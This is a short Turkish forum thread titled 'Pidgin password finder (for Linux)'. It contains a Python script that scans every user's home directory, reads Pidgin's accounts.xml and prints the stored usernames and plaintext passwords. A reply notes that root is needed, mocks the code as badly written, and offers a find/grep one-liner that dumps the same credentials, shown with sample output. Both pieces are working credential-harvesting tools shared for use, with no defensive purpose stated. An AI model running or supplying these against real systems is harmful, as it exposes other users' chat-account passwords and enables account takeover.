Pidgin Sifre Bulucu (Linux İcin)
-
#!/usr/bin/env python
#cnr437import re, os, sys
kullanicilar=os.listdir("/home")
for tek in kullanicilar:
try:
dosya=os.popen("find /home/"+tek+"/.purple/ -name accounts.xml").readlines()
d=open(dosya[0][:-1],"r").readlines()
except:
print tek,"dizini okunamadi..."
continue
for i in d:
if re.search("<name>.*</name>",i):
print 30*"=",2*"\n"
print "Kullanici Adi:",i.replace("<name>","").replace("</name>","").lstrip()
if re.search("<password>.*</password>",i):
print "Sifre: ",i.replace("<password>","").replace("</password>","").lstrip()
print 30*"=" -
/home dizinindeki her dizini okumak için root yetkisine sahip olman gerekiyor. Bu kod /home dizinini tarayıp buluyor, yani normal bir kullanıcı çalıştırdığı zaman sonuç alamayacak. Ayrıca çok kötü yazılmış..
[/]> find /home/*/.purple -name accounts.xml|xargs grep -B 1 password
<name>xxx@xxx.com</name>
<password>asd</password>:)))
-
ii be :(